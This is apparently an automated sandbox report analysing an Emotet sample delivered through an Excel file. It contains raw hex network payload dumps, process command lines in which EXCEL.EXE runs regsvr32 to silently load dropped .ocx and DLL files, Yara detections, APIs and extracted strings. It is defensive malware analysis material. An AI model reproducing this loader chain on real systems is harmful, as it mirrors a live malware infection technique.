fc 6a 35 0c 18 1d 22 ff 22 64 74 de 35 4d 08 af 94 65 c1 e9 3c 0e 36 fc fe 28 de fd 07 11 21 2e ed 14 61 12 23 f3 2e 47 2b 2a bf 63 57 7b Data Ascii: _&>x,pXB'3$[.uX.Bl6CHc4>`N>e,-tq"}k@]]BF,o,l[_^l2gmEXSFXFlLKxA<hqaCh:}R>P{!mnL qQYR+%B0Eox'geQmAA$5oLPj5""dt5Me<6(!.a#.G+*cW{
2022-05-23 07:19:25 UTC	590	IN	Data Raw: bd a1 e5 3a 6b 2b e6 7b 83 31 ea df ee 4b 3c 4d c8 ed 7e 7d e5 f2 c9 6a 58 50 2f ee af d8 4b 2a 66 36 d2 93 ca f7 f6 85 72 6a 66 b0 b1 af 64 bf ef ab 40 62 34 ed ff 23 37 f4 99 ad 67 6b 67 6e e0 df ec 56 39 6b 24 e9 b5 86 32 6b 6a 49 16 30 21 f6 f3 de 43 24 5f 84 b4 1d 50 aa da 92 6b 48 2a 15 4b 01 fd be fb fb 36 71 6a 91 b9 84 98 65 f1 ff db 40 62 34 f7 da dd 34 35 3c 93 28 6b 67 e4 94 c2 27 55 39 1f 32 4f 18 c5 b4 d3 69 5e 48 b5 09 15 46 22 c9 60 7b 51 2d d3 d5 e3 6c 2a 68 c3 bf d6 59 51 6c be 3a 67 61 39 e7 e3 28 44 72 67 30 e3 27 67 42 dc 2c d4 65 37 be b1 a5 67 6b 67 5e e0 75 a0 91 ce 94 d4 d3 a9 47 38 6b eb a5 e1 35 44 31 79 e3 f5 d3 a0 86 e2 9f 18 aa ab a2 6c 48 2a 39 04 0a 31 f6 ba 0f be ad 23 ef 03 4d 3b ee 13 7a 2a ca 11 2c 21 17 e6 db 55 b7 e1 Data Ascii: :k+{1K<M~}jXP/Kf6rjfd@b4#7gkgnV9k$2kjI0!C$_PkHK6qje@b445<(kg'U92Oi^HF"`{Q-lhYQl:ga9(Drg0'gB,e7gkg^uG8k5D1ylH91#M;z*,!U
2022-05-23 07:19:25 UTC	606	IN	Data Raw: 26 4b 9b f9 bd c8 e0 27 3e bf dd 66 fb a7 8f 43 ee 9e 90 6f d1 1d 4b ee 5f 08 93 45 4c 58 da 39 55 fd 0e 6d 98 98 9c a7 ba b5 22 10 d6 78 ae 62 5f 33 37 2a be 70 54 a4 01 03 61 e4 54 12 08 95 d1 21 ec 2d 88 88 17 28 6a 35 0d b4 34 b8 33 ee c1 51 d7 6b 5b e2 4f ec 2a 4a 06 56 4e 66 db 1c 0c 96 9c 98 fb 1a 2f 06 1c cc 37 07 c0 25 8f 87 2c b5 03 3f f0 70 c4 c7 a2 21 33 ee d3 a5 7a e5 38 61 60 a0 25 58 b9 d0 aa 80 5b c1 69 15 b0 03 3e a7 ec 55 79 e2 1d 08 a0 2a 4a e3 0d a2 ed 1f 39 24 be 73 22 ab 70 6a ed d0 e5 72 67 78 82 e1 22 63 34 3e d4 ad 7f be 39 29 fa 6a 67 2d a8 f2 bc 55 39 6b 63 9f d9 55 c7 ea 8c f1 e0 37 4d 70 75 92 a9 ab a9 86 96 9f 15 4b 23 ea 24 48 eb 03 3a 59 ed 40 16 10 57 bb 26 a1 1d 1d 38 68 94 6a e2 06 3a 05 fb 5f 65 b6 40 64 c4 10 8e 67 ee Data Ascii: &K'>fCoK_ELX9Um"xb_37pTaT!-(j543Qk[OJVNf/7%,?p!3z8a`%X[i>Uy*J9$s"pjrgx"c4>9)jg-U9kcU7MpuK#$H:Y@W&8hj:_e@dg
2022-05-23 07:19:25 UTC	622	IN	Data Raw: 2a 55 5c 6a df 0d 9b aa cf 89 99 c1 51 f8 75 bd 6d 50 6f e4 67 cf c3 67 19 b2 62 5f 34 76 fb d5 eb 60 66 b1 63 8d 98 87 ad 26 3c 22 d4 f0 5f a4 52 4a 3f e4 11 14 15 81 1b 7e af 10 46 83 34 98 fe b1 f6 2e 15 d0 21 2b 4d ba 3b 19 08 af 87 c1 d6 64 e6 09 98 cb a9 a2 2e de f9 da 42 8f ff 16 4a b0 07 19 51 c4 37 18 5b a7 63 43 e3 41 09 1b f8 3e 35 fb 20 c3 c1 8f 89 21 f1 69 f2 ce 8a ea 82 03 c7 64 cc eb 2b ef 23 76 23 76 ed 05 83 d4 3c 16 b0 22 3a 6e 2a af 0d 81 50 89 10 6c 71 fd 83 7d f8 16 42 10 ce 3f cc c0 b1 e2 fa 14 c3 97 9e 8f 32 bc 69 ce e5 1e cc c9 59 71 24 92 7c c4 9f 1e 5d 4e b0 2e c5 3d 68 c3 b2 b0 03 c9 3d 81 0a 79 ae 1d e3 e9 1d f6 68 c9 5f d5 0e 8e d5 7a f7 36 86 1d 9b 04 17 82 37 c0 6a 56 18 43 e3 71 d1 d3 61 c8 ca bd 10 c3 2e 33 1f 21 bd 61 2a Data Ascii: U\jQumPoggb_4v`fc&<"_RJ?~F4.!+M;d.BJQ7[cCA>5 !id+#v#v<":nPlq}B?2iYq$\|]N.=h=yh_z67jVCqa.3!a*
2022-05-23 07:19:25 UTC	638	IN	Data Raw: 5e c8 3b 8a 74 9e 8a 95 e3 5f b8 04 b0 5e aa 1a c2 77 4b 2a 66 9d 14 88 fa d3 87 35 b0 07 82 5c c4 37 83 02 da 63 43 e3 41 92 86 fb 3d 35 fb 20 84 32 24 f2 21 bb 41 b5 3b aa 46 88 0f 8f 54 8b 66 df 3d dc 2c 39 37 66 87 61 af 1f 2d eb 50 aa 22 da 00 ad 96 c9 db 24 9c 68 92 f7 9a b6 2f 8a b9 64 9e 67 13 2f 8f 08 eb 71 9a e7 be 7c 5d 13 e4 11 87 fc 9b 08 3f e3 10 11 c7 4e 94 00 c5 7c 43 9d bf 63 f6 9c d8 75 ac 81 cd 59 f0 24 70 d1 6e 47 9e 40 48 2a e7 1f 79 39 a2 89 bc b4 04 42 07 78 41 72 23 f3 2f 43 c8 27 dc ff 1b 41 77 be 79 4d ed 2f 43 5d 69 f7 21 21 0b 6b 2b 20 89 0a 15 5b e1 1b a4 78 c6 7c 86 ed 15 c4 d4 34 8d d1 14 0f 47 c2 89 24 d5 99 12 d8 2f 6d 3e c6 f5 7e ef cb 58 45 72 df e3 40 6e 43 5f c4 16 55 65 38 b1 a1 65 64 6b 8e d8 dd 85 db 92 7c 8b 6c ff Data Ascii: ^;t_^wKf5\7cCA=5 2$!A;FTf=,97fa-P"$h/dg/q\|]?N\|CcuY$pnG@Hy9BxAr#/C'AwyM/C]i!!k+ [x\|4G$/m>~XEr@nC_Ue8edk\|l
2022-05-23 07:19:25 UTC	654	IN	Data Raw: 81 75 66 40 c1 8c db 69 d3 d5 9b 6c 2a 68 89 ca 65 d3 d4 dc 36 76 43 f4 dc da 65 58 45 62 e6 cd da 60 43 62 ec 7f 56 65 bc b0 8c 66 64 6b ec e0 99 79 24 55 d1 2b fb 97 ff 89 b4 ab 69 5e 48 e9 97 9e 76 2e cb fc e7 36 85 9c 1e a0 e2 ea 6b 48 2a 91 bb 90 86 36 ff d6 f5 72 6a 66 99 e8 b2 64 78 6a 67 c2 d7 f4 75 5f 65 a6 6c 69 51 e5 de a7 66 21 7a 51 2d 61 5f ec ed c8 4d 31 6b 42 5f 45 3c cc 84 be 65 40 24 63 2d 10 d3 d1 ae a7 29 68 48 dd f1 5a 51 ed 80 be 40 35 71 67 30 26 ce b5 e2 c0 69 63 43 b7 f0 74 5f a4 92 8d 3f 65 64 63 0c e0 99 79 24 55 27 e2 ae d0 03 4e 31 d3 55 9b 6d 7f c6 bc ce 65 40 24 a8 98 21 d5 1c 0f 1f 62 e1 04 0e 2e 9b bb 68 7d fd 88 bc e4 d2 65 58 45 f3 d2 c0 69 63 43 25 7e 29 5e a2 73 11 6c 89 52 42 67 a4 4d 5e 74 5c b8 1f 0f 38 3b ce 37 6b Data Ascii: uf@ilhe6vCeXEb`CbVefdky$U+i^Hv.6kH6rjfdxjgu_eliQf!zQ-a_M1kB_E<e@$c-)hHZQ@5qg0&icCt_?edcy$U'N1Ume@$!b.h}eXEicC%~)^slRBgM^t\8;7k
2022-05-23 07:19:25 UTC	670	IN	Data Raw: af 13 5d 49 af b1 fa 85 a3 3c 6c 0a e7 16 75 4c 80 05 f8 03 f0 1e 42 78 a5 3f d6 4e e1 27 67 42 bd 32 7b 45 7f b6 f8 7d a7 23 ec a1 69 f3 7c 5d 71 e2 43 78 48 c7 41 73 3d 16 cb d0 2d 79 f5 06 a0 24 d4 cd 4d e8 50 2b 6f 62 e3 e4 0e f6 5a 51 6c bc 06 9b be f5 4e ce 58 45 72 2e f3 b3 ea 07 46 0c fd db 41 97 35 3c 65 2c e0 9e ec 65 5e 14 de bd 4f b3 68 00 4e b8 2f 4e 76 00 b5 21 15 56 8e ac e8 a0 86 5a 98 97 6f 4b 72 1b 58 2b 66 d3 15 48 69 3e c8 30 56 cb 66 58 0d f7 a7 0d 11 a4 07 46 64 e6 a1 48 37 74 84 da 34 76 80 a4 4d 5e 74 5c b8 1f 0f 38 9e 43 33 6b ad da 6c 84 4d 31 76 17 58 fd 5f f2 ed 7c e8 2b 6f 2a e5 44 6a a7 bb 53 e5 b9 52 fb 35 71 6a df e6 c5 2c ff 13 ee 47 fb 62 34 76 73 ec b3 11 84 65 64 6b e6 e1 05 c2 24 55 39 1c e8 97 ff cf 85 4f d2 5e 48 3c Data Ascii: ]I<luLBx?N'gB2{E}#i\|]qCxHAs=-y$MP+obZQlNXEr.FA5<e,e^OhN/Nv!VZoKrX+fHi>0VfXFdH7t4vM^t\8C3klM1vX_\|+o*DjSR5qj,Gb4vsedk$U9O^H<
2022-05-23 07:19:26 UTC	686	IN	Data Raw: 52 50 2b ee 9f 20 42 2a 66 8a d2 29 35 fd c6 7d 7b 6a 66 b0 58 74 98 87 22 e8 fe 2a 3e 76 5f 2d bc c5 79 56 a4 ea 9c 1f 7d 71 24 5a b6 b2 2c 68 00 41 b5 b0 6c 5e 48 bd b6 0e a7 66 40 2b db 5b 6c 58 50 aa 94 56 84 49 2a 69 de 6f 6e 35 76 c2 ce fc c7 65 58 4a f6 ad 79 6a 63 c2 99 3a 2a 5a 65 38 b1 77 64 64 6b e6 9e 63 a6 2c 55 36 ee 08 66 00 4e f6 2f 4e 2e eb d4 02 31 ce ab 8c e8 93 be 2d 7c 10 2a 6f 2a 68 c9 66 42 2a 43 ee a8 7e 0f bc 35 4e 5e d9 01 56 17 a9 d2 63 43 e3 40 52 2f e1 94 d5 34 a2 e1 3b 6d 65 21 f8 cd 1a 39 ea 9e 38 0a 4e 31 cd b5 81 e3 b7 c0 61 7c 66 40 d3 be b8 83 5a d9 be 3f 20 68 48 eb cb 0a 5b 6c 35 78 c2 80 21 60 66 58 a3 c4 65 78 ad 27 67 16 70 36 39 65 b6 71 18 11 49 7a 67 65 a0 0e 00 21 63 33 45 68 c7 cb 79 61 6a 5e 8c d4 a1 31 1d e3 Data Ascii: RP+ Bf)5}{jfXt">v_-yV}q$Z,hAl^Hf@+[lXPVIion5veXJyjc:Ze8wddkc,U6fN/N.1-\|ohfB*C~5N^VcC@R/4;me!98N1a\|f@Z? hH[l5x!`fXex'gp69eqIzge!c3Ehyaj^1
2022-05-23 07:19:26 UTC	702	IN	Data Raw: 5f 17 6d 4b f9 17 da 29 4a ff 07 11 59 e1 23 97 01 f9 2a b3 e1 35 03 e9 79 b1 d6 21 13 15 d4 f7 6c 95 98 dd 1f 0b 29 55 d0 67 d5 97 ff 89 74 a0 8b ca 70 3c 05 bc 20 7e 0c a9 12 9e e8 1d 9b ef de d5 97 c9 67 ad d9 0d d4 50 f7 36 fe 36 5b d3 3d 82 37 a0 db b4 c8 43 a3 51 b1 5a 0e 72 f2 4e ec 21 ac e6 10 e6 9b 06 7d a8 ac 6e 17 bf 7d 1f 6b eb 1b 37 60 fd 31 76 a7 2d 5b 56 f8 2c 27 ba 12 6f 2a e9 3d 55 01 f9 52 6c be 33 3c 71 fa 2f a1 d3 08 b9 ee 3c 4e 43 ab e2 ae 88 a0 dd 37 10 39 65 8d f9 9a 9a de bd 61 92 f6 f7 eb 68 b8 51 43 32 5b 12 c5 79 aa ba 3b a1 b7 c5 9e 93 6d d1 05 ec ee 5f af b3 b8 68 5a 96 29 fe ea ce 36 71 eb 23 93 78 ee 67 78 eb 2e 88 63 cb b2 47 e4 72 fe 8f b2 64 6b e6 10 ea 3d 82 92 21 ac 6e a7 74 a9 82 6b eb 13 87 a0 37 29 da e7 35 eb a5 c6 Data Ascii: _mK)JY#5y!l)Ugtp< ~gP66[=7CQZrN!}n}k7`1v-[V,'o=URl3<q/<NC79eahQC2[y;m_hZ)6q#xgx.cGrdk=!ntk7)5

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2560, Parent PID: 576

General

Target ID:	0
Start time:	09:18:18
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fce0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2632, Parent PID: 2560

General

Target ID:	3
Start time:	09:18:29
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.935688692.0000000000150000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2440, Parent PID: 2632

General

Target ID:	4
Start time:	09:18:31
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll"
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1240660919.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2548, Parent PID: 2560

General

Target ID:	5
Start time:	09:18:33
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.943959485.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.943507589.00000000002F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1952, Parent PID: 2548

General

Target ID:	6
Start time:	09:18:36
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll"
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.1240847022.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.1241152796.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1252, Parent PID: 2560

General

Target ID:	7
Start time:	09:18:38
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.953530856.00000000003D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.953780664.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2208, Parent PID: 1252

General

Target ID:	8
Start time:	09:18:41
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll"
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1240649290.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1241141714.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1216, Parent PID: 2560

General

Target ID:	9
Start time:	09:18:44
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xfff60000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2632, Parent PID: 2560COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	10%
Total number of Nodes:	1905
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

+ong, xrefs: 000007FEF9D22A3A
0.3, xrefs: 000007FEF9D213AC
,$n, xrefs: 000007FEF9D21658
gVWH, xrefs: 000007FEF9D21D88
:!@, xrefs: 000007FEF9D2145B
>~, xrefs: 000007FEF9D21DA6
Eekg, xrefs: 000007FEF9D224D6
Ya], xrefs: 000007FEF9D21590
@ , xrefs: 000007FEF9D229EA
M z, xrefs: 000007FEF9D21438
,1., xrefs: 000007FEF9D2258A
V#s, xrefs: 000007FEF9D21676
!@C+, xrefs: 000007FEF9D21824
werfault.exe, xrefs: 000007FEF9D22E68
wk/, xrefs: 000007FEF9D21784
M13U, xrefs: 000007FEF9D217B6
FLIn, xrefs: 000007FEF9D228FA
-'C, xrefs: 000007FEF9D21AAE
N3, xrefs: 000007FEF9D2245E
$D1v, xrefs: 000007FEF9D215CC
3ob, xrefs: 000007FEF9D215EA
}'6, xrefs: 000007FEF9D21B76
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF9D22FBB
2s<S, xrefs: 000007FEF9D2236E
1\u, xrefs: 000007FEF9D22CBA
4bB, xrefs: 000007FEF9D22210
rkE@, xrefs: 000007FEF9D21415
%Uc, xrefs: 000007FEF9D22E18
D)'U, xrefs: 000007FEF9D222A6
+iT, xrefs: 000007FEF9D22012
&\hR, xrefs: 000007FEF9D21EBE
?x?, xrefs: 000007FEF9D21D2E
M1vi, xrefs: 000007FEF9D226F2
aUJ', xrefs: 000007FEF9D217F2
QlyO, xrefs: 000007FEF9D21D9C
S}pn, xrefs: 000007FEF9D222BA
*hH, xrefs: 000007FEF9D21386
wC54, xrefs: 000007FEF9D22AF8
j+h, xrefs: 000007FEF9D228BE
?CE`, xrefs: 000007FEF9D21BF8
oE, xrefs: 000007FEF9D22418
-{*, xrefs: 000007FEF9D2285A
"V2, xrefs: 000007FEF9D2280A
l|f, xrefs: 000007FEF9D22080
h78<, xrefs: 000007FEF9D21AA4
5vCx, xrefs: 000007FEF9D22B98
R;pB, xrefs: 000007FEF9D21BBC
tc`, xrefs: 000007FEF9D221C0
PX5, xrefs: 000007FEF9D2265C
<M}O, xrefs: 000007FEF9D21D6A
9[+, xrefs: 000007FEF9D21FD6
MDj, xrefs: 000007FEF9D2281E
|e:, xrefs: 000007FEF9D22EDD
xA\#, xrefs: 000007FEF9D2163A
:9m?, xrefs: 000007FEF9D22792
=kf^, xrefs: 000007FEF9D21662
V9s, xrefs: 000007FEF9D2260C
w&ed, xrefs: 000007FEF9D22288
hx", xrefs: 000007FEF9D21B30
<)@P, xrefs: 000007FEF9D215E0
Pl5, xrefs: 000007FEF9D21E3C
$931, xrefs: 000007FEF9D21D56
pAT#, xrefs: 000007FEF9D21B4E
g@$, xrefs: 000007FEF9D22328
Puvm, xrefs: 000007FEF9D22D0A
*hH%, xrefs: 000007FEF9D2215C
%U9, xrefs: 000007FEF9D22A9E
S[L, xrefs: 000007FEF9D2218E
BxJr, xrefs: 000007FEF9D21B26
c-_j, xrefs: 000007FEF9D221F2
Ko*h, xrefs: 000007FEF9D22CC4
VO4, xrefs: 000007FEF9D21BD0
(pd, xrefs: 000007FEF9D221CA
kxfc, xrefs: 000007FEF9D218A6
HPZ, xrefs: 000007FEF9D22896
"!k, xrefs: 000007FEF9D221FC
#z$U, xrefs: 000007FEF9D221B6
%<, xrefs: 000007FEF9D22CE2
8<-, xrefs: 000007FEF9D21BEE
`I, xrefs: 000007FEF9D22634
}WL, xrefs: 000007FEF9D21A22
{$U|, xrefs: 000007FEF9D223A0
{fM$, xrefs: 000007FEF9D21B8A
cDj, xrefs: 000007FEF9D218E2
mbPv, xrefs: 000007FEF9D21423
ePO, xrefs: 000007FEF9D21A04
%8#, xrefs: 000007FEF9D21D06
t(O, xrefs: 000007FEF9D218C4
U+on, xrefs: 000007FEF9D21E28
$huN, xrefs: 000007FEF9D22DE6
5qj', xrefs: 000007FEF9D21F90
mCl4, xrefs: 000007FEF9D216C6
0kj., xrefs: 000007FEF9D2144D
L ]1, xrefs: 000007FEF9D21842
:'U@, xrefs: 000007FEF9D22490
<v:, xrefs: 000007FEF9D21A4A
^*C, xrefs: 000007FEF9D2209E
;qdf, xrefs: 000007FEF9D21A7C
It, xrefs: 000007FEF9D21CC0
Cb47, xrefs: 000007FEF9D22D00
$:*:, xrefs: 000007FEF9D22C74
C/, xrefs: 000007FEF9D21E82
%</, xrefs: 000007FEF9D224A4
`AnM, xrefs: 000007FEF9D22E6F
U9#(, xrefs: 000007FEF9D224EA
.#(, xrefs: 000007FEF9D21346
P+oo, xrefs: 000007FEF9D2233C
|X, xrefs: 000007FEF9D21AC2
e7tc, xrefs: 000007FEF9D22C6A
$}%z, xrefs: 000007FEF9D22C7E
EBg, xrefs: 000007FEF9D21F9A
jfX, xrefs: 000007FEF9D21EF0
i~e, xrefs: 000007FEF9D21FCC
} z$, xrefs: 000007FEF9D229F4

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 1e3beb4b4c43f569e156fbbbb3a48c6786d138466eab30fa5612b4063b7ac052
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: 72E2C9B690A7C18FE3748F629E857DD3AA0F345748F609208D3991FA1DCB795242CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00140000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00140450
GetNativeSystemInfo.KERNEL32 ref: 00140539
VirtualAlloc.KERNELBASE ref: 00140580
VirtualProtect.KERNELBASE ref: 001409E9

Strings

Load, xrefs: 001400C8
temI, xrefs: 0014014B
rote, xrefs: 00140106
Virt, xrefs: 001400F8
RtlA, xrefs: 0014015C
ddFu, xrefs: 00140163
lloc, xrefs: 001400F0
Reso, xrefs: 00140338
ncti, xrefs: 0014016A
Size, xrefs: 00140311
ualA, xrefs: 001400E8
ativ, xrefs: 0014013D
Find, xrefs: 001402D0
hIns, xrefs: 0014011A
ofRe, xrefs: 00140318
truc, xrefs: 00140121
Free, xrefs: 0014034D
aryA, xrefs: 001400D8
eSys, xrefs: 00140144
Cach, xrefs: 0014012F
Reso, xrefs: 00140355
sour, xrefs: 0014031F
urce, xrefs: 0014035D
GetN, xrefs: 00140136
urce, xrefs: 00140340
Flus, xrefs: 00140113
Lock, xrefs: 00140330
ualP, xrefs: 001400FF
Reso, xrefs: 001402FC
Load, xrefs: 001402F4
tion, xrefs: 00140128
Libr, xrefs: 001400D0
urce, xrefs: 001402E7
onTa, xrefs: 00140171
Reso, xrefs: 001402DB
Slee, xrefs: 001400B7
Virt, xrefs: 001400E0
urce, xrefs: 00140304

Memory Dump Source

Source File: 00000003.00000002.935681407.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_140000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: d533c7888e8ad47428c32e48e704199737e10f3c0956cb83534593ac496a38be
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
